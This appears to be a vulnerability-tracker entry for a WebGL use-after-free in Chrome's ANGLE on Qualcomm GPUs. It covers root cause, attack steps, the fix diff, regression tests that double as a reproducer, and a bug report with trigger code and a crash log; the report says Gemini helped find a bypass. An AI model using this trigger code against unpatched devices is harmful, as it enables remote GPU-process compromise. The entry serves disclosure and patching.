Overview

Critical
Severity
9.6
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in WebGL
DescriptionUse after free in WebGL
ComponentWebGL
Sub-componentGL
Bug ClassUAF
Action tierwatch — corruption primitive but gated (uncommon) — not default-reachable
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker493747593
Fix commit7193b3e1cdcd (angle/angle) +504/-43
CWECWE-416 (Use-after-free)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
CISA KEVNot listed
Creditedhappy2me
Reported2026-03-18 (per vendor advisory)
Fix landed2026-05-07 (public git)
Disclosed2026-05-27
Patch gap20 days — fix public in source before the advisory

Background

`ANGLE`
Chrome’s cross-platform graphics abstraction layer that translates WebGL/OpenGL ES calls onto native drivers (Direct3D, Vulkan, native GL) in the GPU process.
`FBO` (Framebuffer Object)
a GL container binding color/depth/stencil attachments that WebGL renders into instead of the default framebuffer.
`flush`/`finish`/`fenceSync`
GL synchronization primitives that submit pending commands to the driver; fenceSync (backed by createSync) inserts a fence the client can later wait on.
`recreateFboUponFlush`
the new FeaturesGL workaround flag that recreates the bound FBO around flush/finish/sync operations to avoid a Qualcomm driver bug (crbug 493747593).

Root Cause Analysis

On affected Qualcomm GL drivers, issuing a flush, finish, or fenceSync while an FBO is bound causes the driver to retain a stale internal reference to that framebuffer’s state. The driver’s framebuffer state can subsequently be freed and its memory reused, while the driver still holds and later dereferences the dangling pointer during synchronization, producing a use-after-free entirely inside the GPU process. Because ANGLE’s GL backend passed these synchronization calls straight through to the native driver, nothing on ANGLE’s side interposed to keep the driver’s view of the FBO consistent.

The fix adds the recreateFboUponFlush workaround, which recreates the FBO around the affected operations so the driver never dereferences freed framebuffer state. To apply the workaround at the moment a sync object is created, GLImplFactory::createSync was changed to receive the gl::Context on all backends, giving the GL backend the context needed to rebuild the FBO. The workaround is gated to Qualcomm GPUs, with the surrounding declaration and code_generation_hashes changes being feature-table and codegen churn rather than behavioral.

Key insight
The vulnerability lives in the native Qualcomm driver, but it is remotely reachable because WebGL lets untrusted web content directly control both FBO binding and the timing of flush/finish/fenceSync; ANGLE must defensively recreate the FBO because it cannot fix the driver’s stale reference.

Attack Path

  1. Set up render target Malicious web content creates and binds a WebGL framebuffer (FBO) with attachments, matching the driver-buggy configuration.
  2. Trigger the stale reference The page calls flush, finish, or fenceSync while the FBO is bound, causing the Qualcomm driver to cache a reference to the framebuffer’s internal state.
  3. Free and reuse the state The content tears down or reconfigures the framebuffer so the driver’s referenced state is freed and its memory reallocated for attacker-influenced data.
  4. Dereference the dangling pointer A subsequent synchronization or draw makes the driver dereference the freed framebuffer state, yielding a use-after-free in the GPU process.
  5. Leverage corruption The attacker shapes heap reuse to convert the UAF into memory corruption for information disclosure or code execution within the GPU sandbox.

Impact Assessment

This is a remotely triggerable use-after-free in the GPU process, reachable from any web page that can create a WebGL context on an affected Qualcomm device. Successful exploitation can corrupt GPU-process memory and potentially lead to arbitrary code execution within the GPU sandbox, a common stepping stone toward broader compromise. The exposure is limited to affected Qualcomm GPUs/drivers, but that population is large on Android.

Files Changed

  • include/platform/autogen/FeaturesGL_autogen.h
  • include/platform/gl_features.json
  • scripts/code_generation_hashes/ANGLE_format.json
  • scripts/code_generation_hashes/ANGLE_load_functions_table.json
  • scripts/code_generation_hashes/D3D11_format.json
  • scripts/code_generation_hashes/DXGI_format.json
  • scripts/code_generation_hashes/GL_copy_conversion_table.json
  • scripts/code_generation_hashes/GL_format_map.json
  • scripts/code_generation_hashes/Metal_default_shaders.json
  • scripts/code_generation_hashes/Metal_format_table.json
  • scripts/code_generation_hashes/OpenGL_dispatch_table.json
  • scripts/code_generation_hashes/Vulkan_format.json
  • scripts/code_generation_hashes/Vulkan_mandatory_format_support_table.json
  • scripts/code_generation_hashes/WebGPU_format.json

Audit Directions

  • Pass-through sync primitives
    Audit other ANGLE backends and driver workarounds where flush/finish/createSync forward directly to native drivers while an FBO or other stateful object is bound, since drivers may cache references across synchronization.
  • Driver-lifetime workarounds
    Review existing FeaturesGL flags gated on specific vendors (Qualcomm, others) for object-lifetime assumptions, and confirm they are force-enabled in unit tests without regressing on unaffected platforms.
  • Signature-threading changes
    When a context or state handle is newly threaded into a factory method like createSync, verify every backend override consumes it consistently and that no path retains a stale gl::Context or FBO reference.
From 7193b3e1cdcd67d5ec22274856160f5b363db5fd Mon Sep 17 00:00:00 2001
From: Ken Russell <[email protected]>
Date: Mon, 04 May 2026 22:57:25 -0700
Subject: [PATCH] GL: Add recreateFboUponFlush workaround.

For the moment, apply it to all Qualcomm GPUs. The workaround will be
restricted further in follow-on commits.

Pass gl::Context to GLImplFactory::createSync on all backends in order
to provide it to the GL backend for the workaround.

Fixed lurking problem with escape sequences in angle_format.py.

Incorporated new unit tests, including some which force-enable the
workaround; should be a no-op on other platforms.

Co-authored with jetski-cli.

Bug: chromium:493747593
Change-Id: I027bfb484611a89615620001f160d0c909a7b22f
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/7815775
Reviewed-by: Geoff Lang <[email protected]>
Commit-Queue: Kenneth Russell <[email protected]>
---

diff --git a/include/platform/autogen/FeaturesGL_autogen.h b/include/platform/autogen/FeaturesGL_autogen.h
index d5e9061..d30f958 100644
--- a/include/platform/autogen/FeaturesGL_autogen.h
+++ b/include/platform/autogen/FeaturesGL_autogen.h
@@ -692,6 +692,12 @@
         &members,
     };
 
+    FeatureInfo recreateFboUponFlush = {
+        "recreateFboUponFlush",
+        FeatureCategory::OpenGLWorkarounds,
+        &members,
+    };
+
 };
 
 inline FeaturesGL::FeaturesGL()  = default;
diff --git a/include/platform/gl_features.json b/include/platform/gl_features.json
index 6c1a696..7232893 100644
--- a/include/platform/gl_features.json
+++ b/include/platform/gl_features.json
@@ -901,6 +901,14 @@
                 "Some drivers have internal failures when attempting to allocate and initialize buffers larger than 1gb."
             ],
             "issue": "http://crbug.com/475877320"
+        },
+        {
+            "name": "recreate_fbo_upon_flush",
+            "category": "Workarounds",
+            "description": [
+                "Recreate FBO upon flush/finish/fencesync under certain conditions to work around driver bugs."
+            ],
+            "issue": "http://crbug.com/493747593"
         }
     ]
 }
diff --git a/scripts/code_generation_hashes/ANGLE_format.json b/scripts/code_generation_hashes/ANGLE_format.json
index 5061608..3591ef2 100644
--- a/scripts/code_generation_hashes/ANGLE_format.json
+++ b/scripts/code_generation_hashes/ANGLE_format.json
@@ -4,7 +4,7 @@
   "src/libANGLE/renderer/Format_table_autogen.cpp":
     "21e0b0aa9ce772d528e7063ee94cede7",
   "src/libANGLE/renderer/angle_format.py":
-    "45ffbde9a8edc7cec1c6c3afc5517b30",
+    "49c55a74e763b1cfd0d96c4b49b4e402",
   "src/libANGLE/renderer/angle_format_data.json":
     "f82d30f65cebd8c787ac0d29fa4c0221",
   "src/libANGLE/renderer/angle_format_map.json":
diff --git a/scripts/code_generation_hashes/ANGLE_load_functions_table.json b/scripts/code_generation_hashes/ANGLE_load_functions_table.json
index ec85f68..ec8f763 100644
--- a/scripts/code_generation_hashes/ANGLE_load_functions_table.json
+++ b/scripts/code_generation_hashes/ANGLE_load_functions_table.json
@@ -1,6 +1,6 @@
 {
   "src/libANGLE/renderer/angle_format.py":
-    "45ffbde9a8edc7cec1c6c3afc5517b30",
+    "49c55a74e763b1cfd0d96c4b49b4e402",
   "src/libANGLE/renderer/gen_load_functions_table.py":
     "73e96775a0bd1a424f3f8585b1c5175f",
   "src/libANGLE/renderer/load_functions_data.json":
diff --git a/scripts/code_generation_hashes/D3D11_format.json b/scripts/code_generation_hashes/D3D11_format.json
index 90fadc6..8cd8a9e 100644
--- a/scripts/code_generation_hashes/D3D11_format.json
+++ b/scripts/code_generation_hashes/D3D11_format.json
@@ -1,6 +1,6 @@
 {
   "src/libANGLE/renderer/angle_format.py":
-    "45ffbde9a8edc7cec1c6c3afc5517b30",
+    "49c55a74e763b1cfd0d96c4b49b4e402",
   "src/libANGLE/renderer/d3d/d3d11/gen_texture_format_table.py":
     "70dcd2607cd481f450233c7c2b5c7ac0",
   "src/libANGLE/renderer/d3d/d3d11/texture_format_data.json":
diff --git a/scripts/code_generation_hashes/DXGI_format.json b/scripts/code_generation_hashes/DXGI_format.json
index 648d43d..214b818 100644
--- a/scripts/code_generation_hashes/DXGI_format.json
+++ b/scripts/code_generation_hashes/DXGI_format.json
@@ -1,6 +1,6 @@
 {
   "src/libANGLE/renderer/angle_format.py":
-    "45ffbde9a8edc7cec1c6c3afc5517b30",
+    "49c55a74e763b1cfd0d96c4b49b4e402",
   "src/libANGLE/renderer/angle_format_map.json":
     "abad08e462a0839d1600d83f83bcad8b",
   "src/libANGLE/renderer/dxgi_format_data.json":
diff --git a/scripts/code_generation_hashes/GL_copy_conversion_table.json b/scripts/code_generation_hashes/GL_copy_conversion_table.json
index 341b8b8..af3566a 100644
--- a/scripts/code_generation_hashes/GL_copy_conversion_table.json
+++ b/scripts/code_generation_hashes/GL_copy_conversion_table.json
@@ -6,5 +6,5 @@
   "src/libANGLE/gen_copy_conversion_table.py":
     "3b1f0182a41af78b44930fb415ff0fb6",
   "src/libANGLE/renderer/angle_format.py":
-    "45ffbde9a8edc7cec1c6c3afc5517b30"
+    "49c55a74e763b1cfd0d96c4b49b4e402"
 }
diff --git a/scripts/code_generation_hashes/GL_format_map.json b/scripts/code_generation_hashes/GL_format_map.json
index eda4f5c..73563bb 100644
--- a/scripts/code_generation_hashes/GL_format_map.json
+++ b/scripts/code_generation_hashes/GL_format_map.json
@@ -8,5 +8,5 @@
   "src/libANGLE/gen_format_map.py":
     "32b43aedcbad2aa5eaa47052cc8573ac",
   "src/libANGLE/renderer/angle_format.py":
-    "45ffbde9a8edc7cec1c6c3afc5517b30"
+    "49c55a74e763b1cfd0d96c4b49b4e402"
 }
diff --git a/scripts/code_generation_hashes/Metal_default_shaders.json b/scripts/code_generation_hashes/Metal_default_shaders.json
index 79e6c2a..68a8512 100644
--- a/scripts/code_generation_hashes/Metal_default_shaders.json
+++ b/scripts/code_generation_hashes/Metal_default_shaders.json
@@ -1,6 +1,6 @@
 {
   "src/libANGLE/renderer/angle_format.py":
-    "45ffbde9a8edc7cec1c6c3afc5517b30",
+    "49c55a74e763b1cfd0d96c4b49b4e402",
   "src/libANGLE/renderer/angle_format_map.json":
     "abad08e462a0839d1600d83f83bcad8b",
   "src/libANGLE/renderer/gen_angle_format_table.py":
diff --git a/scripts/code_generation_hashes/Metal_format_table.json b/scripts/code_generation_hashes/Metal_format_table.json
index 1279b30..663e0d2 100644
--- a/scripts/code_generation_hashes/Metal_format_table.json
+++ b/scripts/code_generation_hashes/Metal_format_table.json
@@ -1,6 +1,6 @@
 {
   "src/libANGLE/renderer/angle_format.py":
-    "45ffbde9a8edc7cec1c6c3afc5517b30",
+    "49c55a74e763b1cfd0d96c4b49b4e402",
   "src/libANGLE/renderer/angle_format_map.json":
     "abad08e462a0839d1600d83f83bcad8b",
   "src/libANGLE/renderer/metal/gen_mtl_format_table.py":
diff --git a/scripts/code_generation_hashes/OpenGL_dispatch_table.json b/scripts/code_generation_hashes/OpenGL_dispatch_table.json
index 17f66d2..dea39df 100644
--- a/scripts/code_generation_hashes/OpenGL_dispatch_table.json
+++ b/scripts/code_generation_hashes/OpenGL_dispatch_table.json
@@ -1,6 +1,6 @@
 {
   "src/libANGLE/renderer/angle_format.py":
-    "45ffbde9a8edc7cec1c6c3afc5517b30",
+    "49c55a74e763b1cfd0d96c4b49b4e402",
   "src/libANGLE/renderer/gl/DispatchTableGL_autogen.cpp":
     "31c088a9f24d58dc3b440412ff1410b1",
   "src/libANGLE/renderer/gl/DispatchTableGL_autogen.h":
diff --git a/scripts/code_generation_hashes/Vulkan_format.json b/scripts/code_generation_hashes/Vulkan_format.json
index b81d75c..ba5152f 100644
--- a/scripts/code_generation_hashes/Vulkan_format.json
+++ b/scripts/code_generation_hashes/Vulkan_format.json
@@ -1,6 +1,6 @@
 {
   "src/libANGLE/renderer/angle_format.py":
-    "45ffbde9a8edc7cec1c6c3afc5517b30",
+    "49c55a74e763b1cfd0d96c4b49b4e402",
   "src/libANGLE/renderer/angle_format_map.json":
     "abad08e462a0839d1600d83f83bcad8b",
   "src/libANGLE/renderer/vulkan/gen_vk_format_table.py":
diff --git a/scripts/code_generation_hashes/Vulkan_mandatory_format_support_table.json b/scripts/code_generation_hashes/Vulkan_mandatory_format_support_table.json
index 02679eb..1616f34 100644
--- a/scripts/code_generation_hashes/Vulkan_mandatory_format_support_table.json
+++ b/scripts/code_generation_hashes/Vulkan_mandatory_format_support_table.json
@@ -1,6 +1,6 @@
 {
   "src/libANGLE/renderer/angle_format.py":
-    "45ffbde9a8edc7cec1c6c3afc5517b30",
+    "49c55a74e763b1cfd0d96c4b49b4e402",
   "src/libANGLE/renderer/vulkan/gen_vk_mandatory_format_support_table.py":
     "a9fd6f3ff2b584aff382364489146c76",
   "src/libANGLE/renderer/vulkan/vk_format_map.json":
diff --git a/scripts/code_generation_hashes/WebGPU_format.json b/scripts/code_generation_hashes/WebGPU_format.json
index 68bae1f..5380ce4 100644
--- a/scripts/code_generation_hashes/WebGPU_format.json
+++ b/scripts/code_generation_hashes/WebGPU_format.json
@@ -1,6 +1,6 @@
 {
   "src/libANGLE/renderer/angle_format.py":
-    "45ffbde9a8edc7cec1c6c3afc5517b30",
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/src/libANGLE/Fence_unittest.cpp b/src/libANGLE/Fence_unittest.cpp
index 251d217..85df992 100644
--- a/src/libANGLE/Fence_unittest.cpp
+++ b/src/libANGLE/Fence_unittest.cpp
@@ -96,9 +96,9 @@
     void SetUp() override
     {
         mImpl = new MockSyncImpl;
-        EXPECT_CALL(factory, createSync()).WillOnce(Return(mImpl));
+        EXPECT_CALL(factory, createSync(_)).WillOnce(Return(mImpl));
 
-        mFence = new gl::Sync(&factory, {1});
+        mFence = new gl::Sync(&factory, {1}, nullptr);
         EXPECT_CALL(*mImpl, destroy());
         mFence->addRef();
     }
diff --git a/src/tests/angle_unittests_utils.h b/src/tests/angle_unittests_utils.h
index 8400776..529677b 100644
--- a/src/tests/angle_unittests_utils.h
+++ b/src/tests/angle_unittests_utils.h
@@ -60,7 +60,7 @@
     // Query and Fence creation
     QueryImpl *createQuery(gl::QueryType type) override { return nullptr; }
     FenceNVImpl *createFenceNV() override { return nullptr; }
-    SyncImpl *createSync() override { return nullptr; }
+    SyncImpl *createSync(const gl::Context *context) override { return nullptr; }
 
     // Transform Feedback creation
     TransformFeedbackImpl *createTransformFeedback(const gl::TransformFeedbackState &state) override
@@ -101,7 +101,7 @@
                  VertexArrayImpl *(const gl::VertexArrayState &, const gl::VertexArrayBuffers &));
     MOCK_METHOD1(createQuery, QueryImpl *(gl::QueryType type));
     MOCK_METHOD0(createFenceNV, FenceNVImpl *());
-    MOCK_METHOD0(createSync, SyncImpl *());
+    MOCK_METHOD1(createSync, SyncImpl *(const gl::Context *));
     MOCK_METHOD1(createTransformFeedback,
                  TransformFeedbackImpl *(const gl::TransformFeedbackState &));
     MOCK_METHOD1(createSampler, SamplerImpl *(const gl::SamplerState &));
diff --git a/src/tests/gl_tests/FramebufferTest.cpp b/src/tests/gl_tests/FramebufferTest.cpp
index a029996..1f01ecb 100644
--- a/src/tests/gl_tests/FramebufferTest.cpp
+++ b/src/tests/gl_tests/FramebufferTest.cpp
@@ -9421,3 +9421,293 @@
                                ES3_VULKAN().disable(Feature::PreferDynamicRendering));
 ANGLE_INSTANTIATE_TEST_ES3_AND(DefaultFramebufferTest,
                                ES3_VULKAN().disable(Feature::PreferDynamicRendering));
+
+class FramebufferTest_ES3FBOWorkaround : public ANGLETest<>
+{
+  protected:
+    FramebufferTest_ES3FBOWorkaround()
+    {
+        setWindowWidth(128);
+        setWindowHeight(128);
+        setConfigRedBits(8);
+        setConfigGreenBits(8);
+        setConfigBlueBits(8);
+        setConfigAlphaBits(8);
+        setConfigDepthBits(24);
+        setConfigStencilBits(8);
+    }
+
+    void testSetUp() override
+    {
+        mColorProgram =
+            CompileProgram(essl1_shaders::vs::Simple(), essl1_shaders::fs::UniformColor());
+        ASSERT_NE(0u, mColorProgram);
+        mColorUniformLocation = glGetUniformLocation(mColorProgram, essl1_shaders::ColorUniform());
+        ASSERT_NE(-1, mColorUniformLocation);
+    }
+
+    void testTearDown() override
+    {
+        if (mColorProgram != 0)
+        {
+            glDeleteProgram(mColorProgram);
+        }
+    }
+
+    void drawRedQuad()
+    {
+        glUseProgram(mColorProgram);
+        glUniform4f(mColorUniformLocation, 1.0f, 0.0f, 0.0f, 1.0f);
+        drawQuad(mColorProgram, essl1_shaders::PositionAttrib(), 0.5f);
+    }
+
+    void drawGreenQuad()
+    {
+        glUseProgram(mColorProgram);
+        glUniform4f(mColorUniformLocation, 0.0f, 1.0f, 0.0f, 1.0f);
+        drawQuad(mColorProgram, essl1_shaders::PositionAttrib(), 0.5f);
+    }
+
+    GLuint mColorProgram        = 0;
+    GLint mColorUniformLocation = -1;
+};
+
+// Sub-Test 1: Renderbuffer depth/stencil attachment Case
+TEST_P(FramebufferTest_ES3FBOWorkaround, RenderbufferWorkaround)
+{
+    GLFramebuffer fbo;
+    glBindFramebuffer(GL_FRAMEBUFFER, fbo);
+
+    GLRenderbuffer rbo;
+    glBindRenderbuffer(GL_RENDERBUFFER, rbo);
+    glRenderbufferStorage(GL_RENDERBUFFER, GL_DEPTH24_STENCIL8, 128, 128);
+    glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_DEPTH_STENCIL_ATTACHMENT, GL_RENDERBUFFER, rbo);
+
+    GLTexture texture;
+    glBindTexture(GL_TEXTURE_2D, texture);
+    glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGBA8, 128, 128);
+    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, texture, 0);
+
+    ASSERT_GL_FRAMEBUFFER_COMPLETE(GL_FRAMEBUFFER);
+    ASSERT_GL_NO_ERROR();
+
+    // Draw a red quad to color buffer
+    drawRedQuad();
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::red);
+
+    // Trigger flush -> FBO recreation!
+    glFlush();
+    ASSERT_GL_NO_ERROR();
+
+    // Draw a green quad to color buffer
+    drawGreenQuad();
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green);
+    ASSERT_GL_NO_ERROR();
+}
+
+// Sub-Test 2: Uninitialized Texture Case
+TEST_P(FramebufferTest_ES3FBOWorkaround, UninitializedTextureWorkaround)
+{
+    GLFramebuffer fbo;
+    glBindFramebuffer(GL_FRAMEBUFFER, fbo);
+
+    GLTexture depthTex;
+    glBindTexture(GL_TEXTURE_2D, depthTex);
+    glTexStorage2D(GL_TEXTURE_2D, 1, GL_DEPTH_COMPONENT16, 128, 128);
+    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_TEXTURE_2D, depthTex, 0);
+
+    GLTexture colorTex;
+    glBindTexture(GL_TEXTURE_2D, colorTex);
+    glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGBA8, 128, 128);
+    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, colorTex, 0);
+
+    ASSERT_GL_FRAMEBUFFER_COMPLETE(GL_FRAMEBUFFER);
+    ASSERT_GL_NO_ERROR();
+
+    // Draw red
+    drawRedQuad();
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::red);
+
+    // Trigger flush -> FBO recreation!
+    glFlush();
+    ASSERT_GL_NO_ERROR();
+
+    // Draw green
+    drawGreenQuad();
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green);
+    ASSERT_GL_NO_ERROR();
+}
+
+// Sub-Test 3: Initialized Texture Case (Workaround does NOT trigger)
+TEST_P(FramebufferTest_ES3FBOWorkaround, InitializedTextureNoWorkaround)
+{
+    GLFramebuffer fbo;
+    glBindFramebuffer(GL_FRAMEBUFFER, fbo);
+
+    GLTexture depthTex;
+    glBindTexture(GL_TEXTURE_2D, depthTex);
+    glTexStorage2D(GL_TEXTURE_2D, 1, GL_DEPTH_COMPONENT16, 128, 128);
+
+    // Initialize/clear the depth texture level using glTexSubImage2D
+    std::vector<GLushort> depthData(128 * 128, 0);
+    glTexSubImage2D(GL_TEXTURE_2D, 0, 0, 0, 128, 128, GL_DEPTH_COMPONENT, GL_UNSIGNED_SHORT,
+                    depthData.data());
+    ASSERT_GL_NO_ERROR();
+
+    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_TEXTURE_2D, depthTex, 0);
+
+    GLTexture colorTex;
+    glBindTexture(GL_TEXTURE_2D, colorTex);
+    glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGBA8, 128, 128);
+    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, colorTex, 0);
+
+    ASSERT_GL_FRAMEBUFFER_COMPLETE(GL_FRAMEBUFFER);
+    ASSERT_GL_NO_ERROR();
+
+    // Draw red
+    drawRedQuad();
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::red);
+
+    // Trigger flush -> Workaround should NOT trigger, but we test that everything still works
+    glFlush();
+    ASSERT_GL_NO_ERROR();
+
+    // Draw green
+    drawGreenQuad();
+    EXPECT_PIXEL_COLOR_EQ(0, 0, GLColor::green);
+    ASSERT_GL_NO_ERROR();
+}
+
+// Sub-Test 4: FBO combined with FenceSync
+TEST_P(FramebufferTest_ES3FBOWorkaround, FBOAndFenceSync)
+{
+    GLuint i;
+    GLuint num_buffers;
+    GLuint buffer1;
+    GLuint buffer2;
+    GLuint framebuffer;
+    GLuint textures[2];
+    GLuint renderbuffers[2];
+    GLuint framebuffers[2];
+    GLuint textures2[2];
+    GLuint *buffers;
+    void *pixels;
+    char *g_prepared_buffer;
+    char data[16];
+
+    g_prepared_buffer                   = (char *)calloc(1, 0x400);
+    *(int *)(g_prepared_buffer + 0x00)  = 0x40082000;
+    *(int *)(g_prepared_buffer + 0x04)  = 0x40282000;
+    *(int *)(g_prepared_buffer + 0x08)  = 0x40282000;
+    *(int *)(g_prepared_buffer + 0x0c)  = 0x40282000;
+    *(int *)(g_prepared_buffer + 0x28)  = 0x33800000;
+    *(int *)(g_prepared_buffer + 0x110) = 0x40282000;
+    *(int *)(g_prepared_buffer + 0x114) = 0x40282000;
+    *(int *)(g_prepared_buffer + 0x118) = 0x40282000;
+    *(int *)(g_prepared_buffer + 0x11c) = 0x40282000;
+
+    pixels      = calloc(1, 0x4000);
+    num_buffers = 10;
+    buffers     = (GLuint *)calloc(1, 4 * num_buffers);
+
+    glGenFramebuffers(2, framebuffers);
+    glGenRenderbuffers(2, renderbuffers);
+    glGenTextures(2, textures);
+    glBindTexture(GL_TEXTURE_2D, textures[0]);
+    glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGBA8, 40, 40);
+    glBindTexture(GL_TEXTURE_2D, textures[1]);
+    glTexStorage2D(GL_TEXTURE_2D, 1, GL_RGBA8, 43, 43);
+    glBindFramebuffer(GL_FRAMEBUFFER, framebuffers[0]);
+    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, textures[0], 0);
+    glReadBuffer(GL_COLOR_ATTACHMENT0);
+    glClear(GL_COLOR_BUFFER_BIT);
+    glBindFramebuffer(GL_READ_FRAMEBUFFER, 0);
+    glBindFramebuffer(GL_DRAW_FRAMEBUFFER, 0);
+    glDeleteFramebuffers(1, framebuffers);
+    glBindRenderbuffer(GL_RENDERBUFFER, renderbuffers[0]);
+    glRenderbufferStorage(GL_RENDERBUFFER, GL_DEPTH24_STENCIL8, 40, 40);
+    glBindFramebuffer(GL_FRAMEBUFFER, framebuffers[1]);
+    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, textures[0], 0);
+    glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT, GL_RENDERBUFFER,
+                              renderbuffers[0]);
+    glReadBuffer(GL_COLOR_ATTACHMENT0);
+    glGenFramebuffers(1, framebuffers);
+    glBindFramebuffer(GL_FRAMEBUFFER, framebuffers[0]);
+    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, 0, 0);
+    glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT, GL_RENDERBUFFER,
+                              renderbuffers[0]);
+    glClear(GL_STENCIL_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
+    glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_DEPTH_ATTACHMENT, GL_RENDERBUFFER, 0);
+    glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT, GL_RENDERBUFFER, 0);
+    glBindFramebuffer(GL_READ_FRAMEBUFFER, framebuffers[1]);
+    glReadPixels(0, 0, 40, 40, GL_RGBA, GL_UNSIGNED_BYTE, pixels);
+    glBindFramebuffer(GL_DRAW_FRAMEBUFFER, framebuffers[1]);
+    glClear(GL_COLOR_BUFFER_BIT | GL_STENCIL_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
+    glGenFramebuffers(1, &framebuffer);
+    glBindFramebuffer(GL_FRAMEBUFFER, framebuffer);
+    glFramebufferTexture2D(GL_FRAMEBUFFER, GL_COLOR_ATTACHMENT0, GL_TEXTURE_2D, textures[1], 0);
+    glReadBuffer(GL_COLOR_ATTACHMENT0);
+    glClear(GL_COLOR_BUFFER_BIT);
+    glBindFramebuffer(GL_READ_FRAMEBUFFER, 0);
+    glBindFramebuffer(GL_DRAW_FRAMEBUFFER, 0);
+    glDeleteFramebuffers(1, &framebuffer);
+    glRenderbufferStorage(GL_RENDERBUFFER, GL_DEPTH24_STENCIL8, 40, 40);
+    glBindFramebuffer(GL_FRAMEBUFFER, framebuffers[1]);
+    glFramebufferRenderbuffer(GL_FRAMEBUFFER, GL_STENCIL_ATTACHMENT, GL_RENDERBUFFER,
+                              renderbuffers[0]);
+    glClear(GL_COLOR_BUFFER_BIT | GL_STENCIL_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
+    glPixelStorei(GL_PACK_ROW_LENGTH, 43);
+    glGenBuffers(1, &buffer1);
+    glBindBuffer(GL_PIXEL_UNPACK_BUFFER, buffer1);
+    glBufferData(GL_PIXEL_UNPACK_BUFFER, 0x400, g_prepared_buffer, GL_DYNAMIC_DRAW);
+    glGenTextures(2, textures2);
+    glActiveTexture(GL_TEXTURE0);
+    glBindTexture(GL_TEXTURE_2D, textures2[0]);
+    glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA16F, 0x25, 1, 0, GL_RGBA, GL_FLOAT, 0);
+    glActiveTexture(GL_TEXTURE1);
+    glBindTexture(GL_TEXTURE_2D, textures2[1]);
+    glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA16F, 0x27, 1, 0, GL_RGBA, GL_FLOAT, 0);
+    glPixelStorei(GL_PACK_ROW_LENGTH, 0);
+    glPixelStorei(GL_PACK_ROW_LENGTH, 43);
+    glGenBuffers(num_buffers, buffers);
+    glBindBuffer(GL_ARRAY_BUFFER, 0);
+    glGenBuffers(1, &buffer2);
+    glBindBuffer(GL_PIXEL_PACK_BUFFER, buffer2);
+    glBufferData(GL_PIXEL_PACK_BUFFER, 0x4000, pixels, GL_STATIC_COPY);
+    glFinish();
... (truncated)
Loading diff…

Original Bug Report

reported by [email protected]

Qualcomm Wild exploited CVE-2025-27038 bypass

Security Bug

Important: Please do not change the component of this bug manually.

Please READ THIS FAQ before filing a bug: https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md

Please see the following link for instructions on filing security bugs: https://www.chromium.org/Home/chromium-security/reporting-security-bugs

Reports may be eligible for reward payments under the Chrome VRP: https://g.co/chrome/vrp

NOTE: Security bugs are normally made public once a fix has been widely deployed.


VULNERABILITY DETAILS Bypassing this vulnerability using Gemini: https://issues.chromium.org/issues/402078335 The key code are below:

    GLuint q[5];
    glGenQueries(5, q);
    glBeginQuery(GL_ANY_SAMPLES_PASSED, q[4]);
    glFenceSync(GL_SYNC_GPU_COMMANDS_COMPLETE, 0);
    glEndQuery(GL_ANY_SAMPLES_PASSED);
    glDeleteQueries(5, q);

If remove this,can’t reproduce on s25.

VERSION

Chrome Version: [148.0.7735.0] + [build]

Operating System: samsung/pa1qzcx/pa1q:16/BP2A.250605.031.A3/S9310ZCS9BZB2_CHC9BZB2:user/release-keys Android patch level 05/02/2026

build chrome with commit f1107e1bd074b7f871dc4f6542cb9070cd2d7387

open with qualcomm.html

signal 6 (SIGABRT), code -1 (SI_QUEUE) in tid 9542 (CrGpuMain), pid 9516 (ileged_process0)
Build fingerprint: 'samsung/pa1qzcx/pa1q:16/BP2A.250605.031.A3/S9310ZCS9BZB2_CHC9BZB2:user/release-keys'
Revision: '11'
pid: 9516, tid: 9542, name: CrGpuMain  >>> org.chromium.chrome:privileged_process0 <<<
signal 6 (SIGABRT), code -1 (SI_QUEUE), fault addr --------
Abort message: 'Scudo ERROR: invalid chunk state when deallocating address 0x200007a9e0885f0'

Stack Trace:
  RELADDR   FUNCTION                                                                          FILE:LINE
  000000000007137c  abort+160) (BuildId: 61a049a7ad18156ebc52d8d483539df9                             /apex/com.android.runtime/lib64/bionic/libc.so
